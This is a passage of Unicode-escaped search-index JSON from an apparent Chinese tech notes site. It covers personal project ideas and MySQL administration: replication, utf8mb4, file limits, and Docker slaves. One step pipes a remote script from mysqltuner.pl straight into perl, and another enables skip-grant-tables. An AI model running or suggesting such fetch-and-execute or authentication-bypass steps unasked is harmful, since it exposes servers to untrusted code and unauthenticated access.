<p>\\u6709\\u6ca1\\u6709\\u4e00\\u4e2a\\u5c4f\\u5e55\\u76f4\\u63a5\\u663e\\u793a\\u6211\\u6240\\u7ba1\\u7406\\u7684\\u6240\\u6709\\u670d\\u52a1\\u5668\\u7684\\u72b6\\u6001\\u7684\\u7a0b\\u5e8f\\u5462\\u3002\\u3002\\u3002</p> <p>\\u4e5f\\u9700\\u8981\\u722c\\u866b\\u722c\\u4e00\\u4e0b\\u9662\\u7f51</p> <p>\\u91cd\\u8981\\u7684\\u63d0\\u9192\\u53d1\\u4e2a\\u90ae\\u4ef6\\u901a\\u77e5\\u81ea\\u5df1</p>\"},{\"location\":\"Misson/#apifinished\",\"title\":\"\\u57fa\\u4e8e\\u6d59\\u5927\\u4e91\\u76d8\\u505a\\u51fa\\u4e0a\\u4f20\\u5206\\u4eabAPI[Finished]\",\"text\":\"<p>\\u672cidea\\u5df2\\u7ecf\\u5b9e\\u73b0\\uff1ahttps://github.com/zjuchenyuan/EasyLogin/tree/master/examples/fangcloud</p> <p>\\u6bcf\\u4e2a\\u4eba2T\\u7684\\u5b58\\u50a8\\u7a7a\\u95f4\\u600e\\u4e48\\u80fd\\u9519\\u8fc7\\u3002\\u3002\\u3002</p> <p>\\u4e0d\\u8fc7\\u4ebf\\u65b9\\u4e91\\u8fd8\\u6ca1\\u6709\\u7ed9\\u6d59\\u5927\\u4e91\\u76d8\\u641e\\u5ba2\\u6237\\u7aef\\uff0c\\u4e0a\\u4f20\\u6709\\u70b9\\u70e6</p> <p>\\u7814\\u7a76\\u4e00\\u4e0b\\u5982\\u4f55\\u4eceteam.zju.edu.cn\\u5f00\\u59cb\\u767b\\u5f55\\u4e0a\\u4f20\\u5206\\u4eab\\u4e0b\\u8f7d\\u4e00\\u6761\\u9f99\\u7684API\\u5b9e\\u73b0</p>\"},{\"location\":\"Misson/#upyun-https-finished\",\"title\":\"upyun https \\u8bc1\\u4e66\\u66f4\\u65b0[Finished]\",\"text\":\"<p>\\u81ea\\u52a8\\u5316\\u66f4\\u65b0\\u8bc1\\u4e66 \\u907f\\u514d\\u624b\\u52a8\\u590d\\u5236\\u7c98\\u8d34</p> <p>https://github.com/zjuchenyuan/EasyLogin/blob/master/examples/upyun/upyun.py</p>\"},{\"location\":\"MySQL/\",\"title\":\"MySQL\",\"text\":\"\"},{\"location\":\"MySQL/#_1\",\"title\":\"\\u67e5\\u770b\\u8868\\u7ed3\\u6784\",\"text\":\"<p>desc \\u8868\\u540d\\u79f0;</p>\"},{\"location\":\"MySQL/#sql\",\"title\":\"\\u67e5\\u770b\\u5efa\\u8868sql\\u8bed\\u53e5\",\"text\":\"<pre><code>show create table \\u8868\\u540d\\u79f0;\\n</code></pre>\"},{\"location\":\"MySQL/#merge\",\"title\":\"MERGE\\u5b58\\u50a8\\u5f15\\u64ce\",\"text\":\"<p>\\u5b98\\u65b9\\u6587\\u6863\\uff1ahttp://dev.mysql.com/doc/refman/5.7/en/merge-storage-engine.html</p> <p>\\u67e5\\u770b\\u80fd\\u7528\\u7684\\u5f15\\u64ce\\uff1ashow engines</p>\"},{\"location\":\"MySQL/#merge_1\",\"title\":\"\\u521b\\u5efa\\u4e00\\u4e2aMERGE\\u8868\\uff1a\",\"text\":\"<p>\\u5047\\u8bbe\\u6709a,b\\u8868\\uff0c\\u4ed6\\u4eec\\u7684\\u7ed3\\u6784\\u5b8c\\u5168\\u76f8\\u540c\\uff0c\\u7136\\u540e\\u5c31\\u53ef\\u4ee5\\u5efa\\u7acb\\u4e00\\u4e2ac\\u8868\\uff0c\\u6ce8\\u610f\\u8fd9\\u4e2a\\u8868\\u7684\\u5b9a\\u4e49\\u8981\\u4e0ea\\u548cb\\u8868\\u5b8c\\u5168\\u4e00\\u81f4</p> <pre><code>drop table if exists data;\\nCREATE TABLE c (\\n`id` int(11) NOT NULL,\\n`data` longtext NOT NULL,\\nPRIMARY KEY (`id`)\\n) ENGINE= MRG_MYISAM ,UNION=(a,b);\\n</code></pre> <p>\\u7279\\u70b9\\uff1a</p> <p>\\u8fd9\\u79cd\\u8868\\u4e0d\\u4f1a\\u521b\\u5efa\\u989d\\u5916\\u7684\\u7d22\\u5f15\\uff0c\\u4f46\\u67e5\\u8be2\\u8d77\\u6765\\u6bd4\\u89c6\\u56fe\\u901f\\u5ea6\\u66f4\\u5feb\\uff1b</p> <p>\\u4e0d\\u80fd\\u5728\\u8fd9\\u79cd\\u8868\\u4e0a\\u5efa\\u7acb\\u5168\\u6587\\u7d22\\u5f15</p>\"},{\"location\":\"MySQL/#_2\",\"title\":\"\\u5220\\u9664\\u8868\\u7684\\u5197\\u4f59\",\"text\":\"<p>\\u4e24\\u884c\\u53ea\\u6709\\u4e00\\u5217(\\u8fd9\\u91cc\\u5047\\u8bbe\\u4e3a gettime )\\u4e0d\\u540c\\uff0c\\u5220\\u9664\\u5176\\u4e2d\\u4e00\\u884c</p> <pre><code>delete t1 from t as t1, t as t2 where\\nt1.id = t2.id and\\nt1.\\u5176\\u4ed6\\u5217=t2.\\u5176\\u4ed6\\u5217 and\\nt1.gettime&gt;t2.gettime;\\n</code></pre>\"},{\"location\":\"MySQL/#alter-table\",\"title\":\"\\u4fee\\u6539\\u8868 alter table\",\"text\":\"<pre><code>ALTER IGNORE TABLE `\\u8868\\u540d\\u79f0`\\nMODIFY COLUMN `id`  int(11) NOT NULL FIRST,\\nMODIFY COLUMN `user` varchar(66) NOT NULL AFTER `id`,\\nMODIFY COLUMN `content` longtext NOT NULL AFTER `user`,\\nDROP PRIMARY KEY,\\nADD PRIMARY KEY (`id`),\\nDROP INDEX `a1`,\\nADD INDEX `a1` (`user`);\\n</code></pre>\"},{\"location\":\"MySQL/#_3\",\"title\":\"\\u5c06\\u4e2d\\u6587\\u8f6c\\u4e3a\\u62fc\\u97f3 \\u51fd\\u6570\",\"text\":\"<p>\\u4ee3\\u7801\\u5728code/pinyin.sql</p>\"},{\"location\":\"MySQL/#url\",\"title\":\"\\u4ece\\u8def\\u5f84URL\\u83b7\\u53d6\\u6587\\u4ef6\\u540d\\u79f0\",\"text\":\"<p>\\u6765\\u6e90 http://stackoverflow.com/questions/17090237/extracting-filenames-from-a-path-mysql</p> <p>\\u4f7f\\u7528SUBSTRING_INDEX\\u51fd\\u6570\\uff0c\\u5047\\u8bbeurl\\u6b64\\u884c\\u7684\\u5185\\u5bb9\\u4e3a\\u201dhttp://example.com/some/path/to/filename.zip\\u201d</p> <pre><code>select SUBSTRING_INDEX(url, '/', -1) as filename;\\n</code></pre> <p>\\u5373\\u53ef\\u5f97\\u5230\\u4e00\\u5217filename\\uff0c\\u6b64\\u884c\\u6570\\u636e\\u4e3a\\u201dfilename.zip\\u201d</p>\"},{\"location\":\"MySQL/#_4\",\"title\":\"\\u67e5\\u8be2\\u4f18\\u5316\",\"text\":\"\"},{\"location\":\"MySQL/#explainusing-filesort\",\"title\":\"explain\\u53d1\\u73b0\\u51fa\\u73b0\\u4e86using filesort\",\"text\":\"<p>\\u53c2\\u8003 http://www.ccvita.com/169.html</p> <p>\\u5982\\u679c\\u4f7f\\u7528\\u4e86order by\\u6216\\u8005group by\\uff0c\\u9700\\u8981\\u5efa\\u7d22\\u5f15\\u4ee5\\u4f18\\u5316\\u8fd9\\u4e2a\\u67e5\\u8be2</p> <p>group by\\u7528\\u4e86\\u4e24\\u4e2a\\u5217\\uff0c\\u4e24\\u5217\\u8981\\u5408\\u5728\\u4e00\\u8d77\\u521b\\u5efa\\u7d22\\u5f15</p>\"},{\"location\":\"MySQL/#_5\",\"title\":\"\\u5185\\u5b58\\u8868\\u7d22\\u5f15\\u7684\\u9009\\u62e9\",\"text\":\"<p>\\u53c2\\u8003 https://dev.mysql.com/doc/refman/5.5/en/optimizing-memory-tables.html</p> <p>\\u5185\\u5b58\\u8868\\u7684\\u7d22\\u5f15\\u5e94\\u8be5\\u9009\\u62e9BTREE</p>\"},{\"location\":\"MySQL/#the-table-is-full\",\"title\":\"\\u5185\\u5b58\\u8868The table is full\",\"text\":\"<p>\\u4fee\\u6539MySQL\\u7684\\u914d\\u7f6e\\u6587\\u4ef6/etc/mysql/my.cnf\\uff0c\\u5728[mysqld]\\u4e0b\\u6dfb\\u52a0/\\u4fee\\u6539\\u4e24\\u884c(\\u4e0b\\u9762\\u7684\\u503c\\u4ec5\\u4f9b\\u53c2\\u8003,\\u8bf7\\u6839\\u636e\\u5b9e\\u9645\\u60c5\\u51b5\\u914c\\u60c5\\u5904\\u7406)\\uff1a </p> <pre><code>tmp_table_size = 256M // \\u4e34\\u65f6\\u8868\\u5927\\u5c0f \\nmax_heap_table_size = 256M // \\u5185\\u5b58\\u8868\\u5927\\u5c0f \\n</code></pre>\"},{\"location\":\"MySQL/#replace\",\"title\":\"replace\\u51fd\\u6570\\u66ff\\u6362\\u6587\\u672c\",\"text\":\"<pre><code>update `content` set value=replace(value,\\\"original content\\\",\\\"replaced content\\\");\\n</code></pre> <p>\\u6ce8\\u610freplace\\u4e0d\\u8981\\u53cd\\u5f15\\u53f7</p>\"},{\"location\":\"MySQL/#split\",\"title\":\"\\u7b80\\u5355\\u7684split\\u529f\\u80fd\\uff0c\\u6587\\u672c\\u8f6c\\u6570\\u5b57\",\"text\":\"<p>\\u8868\\u7684\\u8bbe\\u8ba1\\u8fdd\\u80cc\\u4e86\\u4e00\\u5217\\u53ea\\u5b58\\u653e\\u4e00\\u79cd\\u6570\\u636e\\u7684\\u539f\\u5219\\uff0c\\u641e\\u51fa\\u4e86\\u8fd9\\u6837\\u4e00\\u4e2aText\\u7c7b\\u578b\\u7684\\u5217(\\u5047\\u8bbe\\u4e3ainfo)\\uff0c\\u683c\\u5f0f\\u4e3a\\u201d\\u7528\\u6237\\u540d: \\u6570\\u503c\\u201d</p> <p>\\u73b0\\u5728\\u9700\\u8981\\u5c06\\u6570\\u503c\\u4ece\\u8fd9\\u4e00\\u5217\\u4e2d\\u63d0\\u53d6\\u51fa\\u6765\\uff0c\\u5e76\\u8f6c\\u4e3aint\\u7c7b\\u578b</p> <pre><code>convert (\\nsubstr(\\n`info`,\\nlocate(':', `info`) + 2\\n),\\nunsigned integer\\n)\\n</code></pre> <p>Google\\u5173\\u952e\\u8bcd\\uff1a<code>mysql split string</code>,<code>mysql string to int</code></p> <p>\\u53c2\\u8003\\uff1a</p> <p>https://stackoverflow.com/questions/14950466/how-to-split-the-name-string-in-mysql</p> <p>https://stackoverflow.com/questions/5960620/convert-text-into-number-in-mysql-query</p>\"},{\"location\":\"MySQL/#mysqld\",\"title\":\"mysqld\\u914d\\u7f6e\\u53c2\\u6570\\u8c03\\u4f18\",\"text\":\"<p>\\u53c2\\u8003\\uff1ahttps://www.linode.com/docs/databases/mysql/how-to-optimize-mysql-performance-using-mysqltuner</p> <p>\\u4f7f\\u7528MySQLTuner\\u8fd9\\u4e2a\\u5de5\\u5177\\u5f97\\u5230\\u4e00\\u4e9b\\u5efa\\u8bae\\uff1a</p> <pre><code>curl -L http://mysqltuner.pl/ | perl\\n</code></pre> <p>\\u5bf9\\u4e8e\\u5176\\u6700\\u540e\\u7ed9\\u51fa\\u7684\\u53c2\\u6570\\u5efa\\u8bae\\u7167\\u505a\\u5373\\u53ef\\u3002</p> <p><code>key_buffer</code>\\u53c2\\u6570\\u662f\\u6700\\u5173\\u952e\\u7684\\u53c2\\u6570\\uff0c\\u51b3\\u5b9a\\u4e86mysql\\u5360\\u7528\\u7684\\u5185\\u5b58\\u5927\\u5c0f</p>\"},{\"location\":\"MySQL/#emojiutf8utf8mb4\",\"title\":\"\\u652f\\u6301emoji\\uff0c\\u4eceutf8\\u5347\\u7ea7\\u5230utf8mb4\",\"text\":\"<p>\\u4e3a\\u4e86\\u8ba9mysql\\u5b58\\u50a8emoji\\u8868\\u60c5\\uff0c\\u9700\\u8981\\u8fdb\\u884c\\u8868\\u7684\\u53d8\\u66f4\\u64cd\\u4f5c \\u4ee5\\u53ca \\u8fde\\u63a5\\u4ee3\\u7801\\u7684\\u4fee\\u6539</p> <p>\\u53c2\\u8003https://stackoverflow.com/questions/26532722/how-to-encode-utf8mb4-in-python</p>\"},{\"location\":\"MySQL/#charvarchartextutf8mb4\",\"title\":\"\\u8868\\u7684\\u53d8\\u66f4 \\u8868\\u7684\\u6bcf\\u4e00\\u4e2a<code>CHAR</code>\\uff0c<code>VARCHAR</code>\\u548c<code>TEXT</code>\\u7c7b\\u578b\\u7684\\u5217\\u90fd\\u8981\\u6539\\u4e3a\\u4f7f\\u7528utf8mb4\",\"text\":\"<p>\\u4e3e\\u4e2a\\u4f8b\\u5b50\\uff0c\\u8868\\u540d\\u79f0{tablename}\\uff0c\\u4fee\\u6539\\u5176<code>user</code>\\u5217\\u548c<code>content</code>\\u5217\\uff0c\\u4ee5\\u53ca\\u8868\\u7684\\u9ed8\\u8ba4\\u5b57\\u7b26\\u96c6\\uff1a</p> <pre><code>ALTER TABLE `{tablename}`\\nMODIFY COLUMN `user`  varchar(66) CHARACTER SET utf8mb4 NOT NULL AFTER `edittime`,\\nMODIFY COLUMN `content`  longtext CHARACTER SET utf8mb4 NOT NULL AFTER `user`,\\nDEFAULT CHARACTER SET=utf8mb4;\\n</code></pre>\"},{\"location\":\"MySQL/#_6\",\"title\":\"\\u8fde\\u63a5\\u4ee3\\u7801\\u7684\\u6539\\u52a8\",\"text\":\"<p>\\u5728\\u6267\\u884c insert \\u7684 sql\\u8bed\\u53e5\\u4e4b\\u524d\\uff0c\\u5148\\u6267\\u884c\\u8fd9\\u4e09\\u6761sql:</p> <pre><code>SET NAMES utf8mb4;\\nSET CHARACTER SET utf8mb4; \\nSET character_set_connection=utf8mb4;\\n</code></pre>\"},{\"location\":\"MySQL/#too-many-open-files\",\"title\":\"\\u89e3\\u51b3 Too many open files \\u9519\\u8bef\",\"text\":\"<p>\\u53c2\\u8003\\uff1ahttps://duntuk.com/how-raise-ulimit-open-files-and-mysql-openfileslimit</p> <p>https://stackoverflow.com/questions/22495124/cannot-set-limit-of-mysql-open-files-limit-from-1024-to-65535/35515570</p> <p>\\u7cfb\\u7edf\\u73af\\u5883\\uff1a ubuntu16.04\\uff0c\\u7528apt install mysql-server\\u5b89\\u88c5\\u7684mysql</p> <p>\\u8fd9\\u4e2a\\u95ee\\u9898\\u7684\\u539f\\u56e0\\u662fmysql\\u9ed8\\u8ba4\\u7684open_files_limit\\u662f1024\\uff0c\\u5728mysql\\u6253\\u5f001024\\u4e2a\\u6587\\u4ef6\\u540e\\u5c31\\u65e0\\u6cd5\\u518d\\u6253\\u5f00\\u65b0\\u6587\\u4ef6\\uff0c\\u9700\\u8981\\u4fee\\u6539\\u8fd9\\u4e2alimit\\uff0c\\u5982\\u6539\\u4e3a1024000</p> <p>\\u4fee\\u6539<code>/etc/mysql/mysql.conf.d/mysqld.cnf</code>\\uff0c\\u5728[mysqld_safe]\\u548c[mysqld]\\u90fd\\u52a0\\u5165\\u4e00\\u884c\\uff1a</p> <pre><code>open_files_limit = 1024000\\n</code></pre> <p>\\u5728<code>/etc/security/limits.conf</code>\\u4e2d\\u52a0\\u5165\\uff1a</p> <pre><code>* soft nofile 1024000\\n* hard nofile 1024000\\n* soft nproc 10240\\n* hard nproc 10240\\n</code></pre> <p>\\u4e0a\\u8ff0\\u8fd8\\u4e0d\\u591f\\uff0c\\u7531\\u4e8emysql\\u670d\\u52a1\\u88absystemd\\u7ba1\\u7406\\uff0c\\u8fd8\\u8981\\u4fee\\u6539<code>/lib/systemd/system/mysql.service</code>\\uff0c\\u5728\\u6700\\u540e\\u52a0\\u5165</p> <pre><code>LimitNOFILE = infinity\\nLimitMEMLOCK = infinity\\n</code></pre> <p>\\u5728ubuntu16.04\\u4e0a\\uff0c\\u8fd9\\u4e9b\\u8fd8\\u4e0d\\u591f\\uff0c\\u8fd8\\u8981\\u7ee7\\u7eed\\u6539systemd: \\uff08\\u53c2\\u8003\\uff1ahttps://serverfault.com/questions/791729/ubuntu-16-04-server-mysql-open-file-limit-wont-go-higher-than-65536\\uff09</p> <pre><code>mkdir /etc/systemd/system/mysql.service.d\\ntee /etc/systemd/system/mysql.service.d/override.conf &lt;&lt;-'EOF'\\n[Service]\\nLimitNOFILE=1024000\\nEOF\\n</code></pre> <p>\\u7136\\u540e\\u91cd\\u542fmysql\\uff1a</p> <pre><code>systemctl daemon-reload\\nsystemctl restart mysql.service\\n</code></pre> <p>\\u4f7f\\u7528\\u8fd9\\u4e24\\u79cd\\u65b9\\u6cd5\\u90fd\\u80fd\\u770b\\u5230\\u4fee\\u6539\\u662f\\u5426\\u751f\\u6548\\uff1a</p> <pre><code>ps aux|grep mysqld #\\u627e\\u5230mysqld\\u7684\\u8fdb\\u7a0bID\\ncat /proc/\\u4e0a\\u8ff0\\u627e\\u5230\\u7684\\u8fdb\\u7a0bID/limits | grep files\\n\\nmysql -u root -p\\nshow global variables like \\\"%open_files_limit%\\\";\\n</code></pre>\"},{\"location\":\"MySQL/#ubuntu1604mysqlapt-upgrade\",\"title\":\"\\u89e3\\u51b3ubuntu16.04\\u4e0amysql\\u88abapt upgrade\\u81ea\\u52a8\\u5173\\u95ed\\u7684\\u95ee\\u9898\",\"text\":\"<p>\\u95ee\\u9898\\u73b0\\u8c61\\uff1a mysql\\u670d\\u52a1\\u81ea\\u52a8\\u9000\\u51fa\\uff0c\\u67e5\\u65e5\\u5fd7<code>jounralctl -xe|tac|less</code>\\u53d1\\u73b0\\u662f<code>apt upgrade</code>\\u5f15\\u8d77\\u7684\\u81ea\\u52a8\\u9000\\u51fa</p> <p>\\u53d1\\u73b0\\u8fd9\\u662f\\u4e00\\u4e2aubuntu16.04\\u7684\\u7279\\u6027\\uff0c\\u6bcf\\u5929\\u51cc\\u66686\\u70b9\\u4f1a\\u81ea\\u52a8apt upgrade\\u5b89\\u5168\\u66f4\\u65b0\\uff0c\\u4f46\\u4e0d\\u660e\\u539f\\u56e0\\u8fd9\\u4e2a\\u66f4\\u65b0\\u5931\\u8d25\\u4e86\\uff0capt\\u5173\\u6389\\u4e86mysql\\u670d\\u52a1\\u540e\\u7531\\u4e8e\\u5f02\\u5e38\\u9000\\u51fa\\u5e76\\u6ca1\\u6709\\u91cd\\u65b0\\u628amysql\\u670d\\u52a1\\u542f\\u52a8</p> <p>\\u5982\\u679c\\u4f60\\u60f3\\u5173\\u6389\\u81ea\\u52a8\\u66f4\\u65b0\\uff08\\u4e0d\\u5efa\\u8bae\\uff09\\uff1a\\u4fee\\u6539<code>/etc/apt/apt.conf.d/20auto-upgrades</code>\\uff0c\\u6539\\u4e3a<code>APT::Periodic::Unattended-Upgrade \\\"0\\\";</code></p> <p>\\u6267\\u884c<code>apt upgrade</code>\\u6216\\u8005<code>apt-get install -f</code>\\u770b\\u770b\\uff0c\\u80fd\\u91cd\\u73b0\\u95ee\\u9898\\uff08mysql\\u88ab\\u5173\\u6389\\u4e86\\uff09\\uff0c\\u4e5f\\u53d1\\u73b0\\u4e86\\u62a5\\u9519\\u4fe1\\u606f\\uff1a</p> <pre><code>mysql_upgrade: Got error: 2002: Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) while connecting to the MySQL server\\nUpgrade process encountered error and will not continue.\\n</code></pre> <p>\\u7136\\u540e\\u5c31\\u67e5\\u8fd9\\u4e2a\\u62a5\\u9519\\uff0c\\u53d1\\u73b0\\u4e86\\u8fd9\\u4e2a\\uff1ahttps://github.com/chef-cookbooks/mysql/issues/466</p> <p>\\u4eba\\u5bb6\\u7684\\u89e3\\u51b3\\u65b9\\u6848\\u662f\\uff1a<code>systemctl enable mysql</code>\\uff0c\\u7136\\u800c\\u6211\\u6267\\u884c\\u53c8\\u9047\\u5230\\u4e86systemd\\u7684\\u62a5\\u9519\\uff1a<code>Failed to execute operation: Invalid argument</code></p> <p>\\u6700\\u7ec8\\u89e3\\u51b3\\u65b9\\u6848\\u5c31\\u662f\\u5148disable\\u4e00\\u4e0b</p> <pre><code>systemctl disable mysql\\nsystemctl enable mysql\\napt-get install -f\\n</code></pre>\"},{\"location\":\"MySQL/#null0\",\"title\":\"NULL\\u8f6c0\",\"text\":\"<p>\\u7528\\u51fd\\u6570IFNULL\\uff0c\\u5199\\u6cd5\\u5c31\\u662f<code>IFNULL(\\u5217\\u540d, 0)</code></p> <p>\\u4e3e\\u4e2a\\u4f8b\\u5b50</p> <pre><code>select sum(IFNULL(score, 0)) from runs;\\n</code></pre>\"},{\"location\":\"MySQL/#mysqlslave\",\"title\":\"\\u7ed9MySQL\\u589e\\u52a0\\u4e00\\u4e2aslave\\u505a\\u4e3b\\u4ece\\u590d\\u5236\",\"text\":\"<p>master\\u542f\\u7528binlog\\u914d\\u7f6eserver-id\\uff1bmaster\\u7528mysqldump\\u5bfc\\u51fa\\u6570\\u636e\\u5e93\\uff1bslave\\u5bfc\\u5165\\uff0c\\u5f00\\u59cbslave</p>\"},{\"location\":\"MySQL/#master\",\"title\":\"master\\u521b\\u5efa\\u7528\\u6237\",\"text\":\"<pre><code>GRANT REPLICATION SLAVE ON *.* TO 'slave_user'@'%' IDENTIFIED BY 'password';\\nFLUSH PRIVILEGES;\\n</code></pre>\"},{\"location\":\"MySQL/#masterbinlog\",\"title\":\"master\\u542f\\u7528binlog\",\"text\":\"<p>/etc/mysql/conf.d/master.cnf</p> <pre><code>[mysqld]\\nserver-id=1\\nlog-bin=mysql-bin.log\\ninnodb_flush_log_at_trx_commit=1\\nsync_binlog=1\\n</code></pre>\"},{\"location\":\"MySQL/#_7\",\"title\":\"\\u642c\\u8fd0\\u6570\\u636e\\u5e93\",\"text\":\"<p>\\u7531\\u4e8ebinlog\\u662f\\u5728\\u5df2\\u7ecf\\u6709\\u6570\\u636e\\u4e4b\\u540e\\u624d\\u5f00\\u542f\\u7684\\uff0c\\u800cmysql\\u4e0d\\u4f1a\\u81ea\\u5df1\\u6267\\u884c\\u5168\\u91cf\\u540c\\u6b65\\uff0c\\u5c31\\u53ea\\u80fd\\u9760\\u624b\\u5de5\\u642c\\u8fd0sql\\u6587\\u4ef6\\u54af</p> <p>\\u8de8\\u5730\\u57df\\u590d\\u5236\\u7f51\\u901f\\u662f\\u9650\\u5236\\u56e0\\u7d20\\uff0c\\u5c31\\u75287z\\u538b\\u7f29\\u4e86</p> <pre><code>mysqldump -h 127.0.0.1 -P 3306 -u root -p --opt --single-transaction --comments --hex-blob --dump-date --no-autocommit --all-databases --master-data | 7z a -si dbdump.sql.7z\\n7z x -so dbdump.sql.7z | mysql -h 127.0.0.1 -u root -p\\n</code></pre> <p>\\u4f60\\u4e5f\\u53ef\\u4ee5\\u4f7f\\u7528ssh\\u548c\\u7ba1\\u9053\\u64cd\\u4f5c\\uff0c\\u5c31\\u4e0d\\u7528\\u521b\\u5efa\\u6587\\u4ef6\\u4e86\\uff1a</p> <pre><code>ssh master_server \\\"mysqldump -h 127.0.0.1 -P 3306 -u root -ppassword --opt --single-transaction --comments --hex-blob --dump-date --no-autocommit --all-databases --master-data |gzip\\\" | zcat | mysql -h 127.0.0.1 -u root -ppassword\\n</code></pre> <p>\\u5176\\u4e2d<code>--master-data</code>\\u5f88\\u91cd\\u8981\\uff0c\\u5bfc\\u51fa\\u7684\\u65f6\\u5019\\u5c31\\u81ea\\u52a8\\u5e26\\u4e0a\\u4e86master\\u7684\\u4fe1\\u606f\\uff0c\\u65e0\\u9700\\u518d\\u624b\\u5de5\\u8bb0\\u5f55</p> <p><code>CHANGE MASTER TO MASTER_LOG_FILE='mysql-bin.000002', MASTER_LOG_POS=15410;</code></p>\"},{\"location\":\"MySQL/#slave\",\"title\":\"\\u914d\\u7f6eslave\",\"text\":\"<p>\\u5b9e\\u9645\\u4f7f\\u7528\\u4e2d\\u5f88\\u5bb9\\u6613\\u9047\\u5230duplicate key\\u7684\\u95ee\\u9898\\uff0c\\u5bfc\\u81f4slave\\u7ebf\\u7a0b\\u505c\\u4f4f\\uff0c\\u914d\\u7f6e\\u76f4\\u63a5\\u5ffd\\u7565\\u8fd9\\u4e2a\\u9519\\u8bef \\u53c2\\u8003</p> <pre><code>server-id               = 2\\nrelay-log               = mysql-relay-bin.log\\nlog_bin                 = mysql-bin.log\\nslave-skip-errors = 1062\\n</code></pre> <pre><code>CHANGE MASTER TO MASTER_HOST='12.34.56.789',MASTER_USER='slave_user', MASTER_PASSWORD='password';\\nSTART SLAVE;\\nSHOW SLAVE STATUS\\\\G\\n</code></pre>\"},{\"location\":\"MySQL/#docker\",\"title\":\"Docker\\u955c\\u50cf\",\"text\":\"<p>https://github.com/bitnami/bitnami-docker-mysql</p> <p>\\u4f46\\u8fd9\\u4e2a\\u955c\\u50cf\\u4e5f\\u4e0d\\u4f1a\\u5e2e\\u4f60\\u81ea\\u52a8\\u5b8c\\u6210mysqldump\\uff0c\\u4f46\\u914d\\u7f6e\\u4e00\\u4e2aslave\\u8fd8\\u662f\\u5f88\\u7701\\u5fc3\\u7684</p> <p>\\u6ce8\\u610f\\u6743\\u9650\\u914d\\u7f6e\\uff0c\\u5982\\u679c\\u539f\\u672c\\u6570\\u636e\\u6587\\u4ef6\\u5939\\u4e0d\\u5b58\\u5728\\uff0cDocker\\u521b\\u5efa\\u7684\\u662froot\\u7528\\u6237\\u624d\\u80fd\\u8bfb\\u5199\\uff0c\\u5bfc\\u81f4\\u5bb9\\u5668\\u76f4\\u63a5\\u9000\\u51fa\\uff0c\\u5751\\u7684\\u5730\\u65b9\\u5728\\u4e8e\\u6ca1\\u6709\\u62a5\\u9519\\u4fe1\\u606f</p> <pre><code>mkdir -p /srv/mysql-slave/data\\nchown 1001 /srv/mysql-slave/data -R\\n\\ndocker run -it -v /srv/mysql-slave/my.cnf:/opt/bitnami/mysql/conf/my.cnf:ro -v /srv/mysql-slave/data:/bitnami/mysql/data \\\\\\n     --name mysql-slave -e MYSQL_REPLICATION_MODE=slave -e MYSQL_REPLICATION_USER=slave_user -e MYSQL_REPLICATION_PASSWORD=password \\\\\\n      -e MYSQL_MASTER_HOST=12.34.56.789 -e MYSQL_MASTER_PORT_NUMBER=3306 \\\\\\n      -e MYSQL_MASTER_ROOT_USER=slave_user -e MYSQL_MASTER_ROOT_PASSWORD=password \\\\\\n      bitnami/mysql:5.7\\n</code></pre> <p>\\u5176\\u4e2dMYSQL_MASTER_ROOT_USER\\u867d\\u7136\\u4eba\\u5bb6\\u8bf4\\u8981root\\u7528\\u6237\\uff0c\\u5b9e\\u9645\\u4e0a\\u4ee3\\u7801\\u91cc\\u53ea\\u662f\\u7528\\u6765select 1\\uff0c\\u6240\\u4ee5\\u7528slave_user\\u5373\\u53ef\\uff0c\\u53c2\\u89c1\\u6211\\u63d0\\u7684issue</p> <p>\\u5bb9\\u5668\\u542f\\u52a8\\u540e\\u4e00\\u822c\\u4f1a\\u7531\\u4e8emaster\\u7684binlog\\u4e0d\\u5b8c\\u6574\\u6267\\u884csql\\u5931\\u8d25\\uff08\\u8868\\u4e0d\\u5b58\\u5728\\uff09\\uff0c\\u9700\\u8981\\u7ee7\\u7eed\\u64cd\\u4f5c\\uff1a</p> <p>\\u4fee\\u6539my.cnf\\u5728<code>[mysqld]</code>\\u589e\\u52a0<code>skip-grant-tables</code> \\u6ce8\\u610f\\u590d\\u6570\\uff0c\\u6765\\u4fdd\\u8bc1slave\\u53ef\\u4ee5\\u8fde\\u4e0a\\u8fdb\\u884c\\u64cd\\u4f5c</p> <p>\\u7136\\u540e\\u6267\\u884csql\\u8bed\\u53e5<code>STOP SLAVE;</code> \\u518d\\u6267\\u884c\\u4e0a\\u8ff0\\u642c\\u8fd0\\u6570\\u636e\\u5e93\\u7684\\u64cd\\u4f5c\\uff0c\\u5bfc\\u5165\\u5b8c\\u6210\\u540e<code>START SLAVE</code></p> <p>\\u4f7f\\u7528<code>show slave status;</code>\\u67e5\\u770bslave\\u72b6\\u6001</p> <p>\\u53e6\\u5916\\uff0c\\u914d\\u5408autossh\\u548cssh\\u7684\\u7aef\\u53e3\\u8f6c\\u53d1\\u53ef\\u4ee5\\u907f\\u514d\\u5c06mysql\\u7aef\\u53e3\\u66b4\\u9732\\u5728\\u5916\\uff1a</p> <pre><code>autossh -M 0 -o ServerAliveInterval=30 -o ServerAliveCountMax=3 -L 172.17.0.1:3306:127.0.0.1:3306 user@12.34.56.789\\n</code></pre> <p>\\u76f8\\u5e94\\u5730\\uff0cslave\\u914d\\u7f6e\\u7684master\\u5730\\u5740\\u6539\\u4e3a172.17.0.1</p>\"},{\"location\":\"MySQL/#mysql\",\"title\":\"\\u4e3a\\u4ec0\\u4e48MySQL\\u8868\\u5fc5\\u987b\\u8981\\u6709\\u4e3b\\u952e\",\"text\":\"<p>Learned from: https://federico-razzoli.com/why-mysql-tables-need-a-primary-key</p> <p>InnoDB\\u4e2d\\u975e\\u4e3b\\u952e\\u7684\\u7d22\\u5f15\\u662f\\u989d\\u5916\\u5b58\\u50a8\\u7684\\uff0c\\u4f7f\\u7528\\u7d22\\u5f15\\u67e5\\u8be2\\u5148\\u67e5\\u5230\\u4e3b\\u952e\\uff0c\\u518d\\u7528\\u4e3b\\u952e\\u67e5\\u6570\\u636e\\u2014\\u2014\\u6ca1\\u6709\\u4e3b\\u952e\\u7684\\u67e5\\u8be2\\u4f1a\\u6162\\u4e00\\u4e9b</p> <p>\\u6ca1\\u6709\\u4e3b\\u952e\\u4e5f\\u6ca1\\u6709\\u9690\\u5f0f\\u4e3b\\u952e\\uff08\\u521b\\u5efa\\u8868\\u7684\\u65f6\\u5019\\u6307\\u5b9a\\u7684NOT NULL UNIQUE\\u5217\\uff09\\u4f1a\\u81ea\\u52a8\\u4f7f\\u7528\\u9012\\u589e\\u7684row 